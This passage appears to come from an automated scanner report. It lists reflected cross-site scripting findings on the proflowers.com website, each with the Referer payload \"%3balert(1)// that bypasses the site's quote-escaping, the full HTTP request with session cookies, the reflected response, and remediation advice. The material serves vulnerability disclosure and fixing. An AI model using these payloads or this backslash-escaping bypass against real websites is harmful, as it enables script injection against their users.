The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /get-well-flowers-get HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=2f43a\"%3balert(1)//16e05794f6d
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:41 GMT Connection: close Content-Length: 224757
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_2f43a\\";alert(1)//16e05794f6d";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57ee2\"%3balert(1)//3993100d729 was submitted in the Referer HTTP header. This input was echoed as 57ee2\\";alert(1)//3993100d729 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gfbu-bestsellers-bst HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=57ee2\"%3balert(1)//3993100d729
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:29 GMT Connection: close Content-Length: 257780
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_57ee2\\";alert(1)//3993100d729";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3fc78\"%3balert(1)//9deb8367b67 was submitted in the Referer HTTP header. This input was echoed as 3fc78\\";alert(1)//9deb8367b67 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gift-baskets-gft HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=3fc78\"%3balert(1)//9deb8367b67
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:17:37 GMT Connection: close Content-Length: 332831
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_3fc78\\";alert(1)//9deb8367b67";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7260\"%3balert(1)//1af7eec3543 was submitted in the Referer HTTP header. This input was echoed as d7260\\";alert(1)//1af7eec3543 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gourmet-christmas-baskets-cgm HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d7260\"%3balert(1)//1af7eec3543
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:10:41 GMT Connection: close Content-Length: 323190
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_d7260\\";alert(1)//1af7eec3543";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 684f1\"%3balert(1)//00994804827 was submitted in the Referer HTTP header. This input was echoed as 684f1\\";alert(1)//00994804827 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /green-plants-pgr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=684f1\"%3balert(1)//00994804827
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:57 GMT Connection: close Content-Length: 121399
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_684f1\\";alert(1)//00994804827";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14e9f\"%3balert(1)//1f19d57ed05 was submitted in the Referer HTTP header. This input was echoed as 14e9f\\";alert(1)//1f19d57ed05 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /house-plants-pbs HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=14e9f\"%3balert(1)//1f19d57ed05
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:29 GMT Connection: close Content-Length: 233016
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_14e9f\\";alert(1)//1f19d57ed05";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef3a5\"%3balert(1)//dcd0b76c3d6 was submitted in the Referer HTTP header. This input was echoed as ef3a5\\";alert(1)//dcd0b76c3d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /housewarming-flowers-hwg HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=ef3a5\"%3balert(1)//dcd0b76c3d6
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:44 GMT Connection: close Content-Length: 261726
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_ef3a5\\";alert(1)//dcd0b76c3d6";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bae7e\"%3balert(1)//7494920b190 was submitted in the Referer HTTP header. This input was echoed as bae7e\\";alert(1)//7494920b190 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /international HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=bae7e\"%3balert(1)//7494920b190
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5933e\"%3balert(1)//c9637070deb was submitted in the Referer HTTP header. This input was echoed as 5933e\\";alert(1)//c9637070deb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
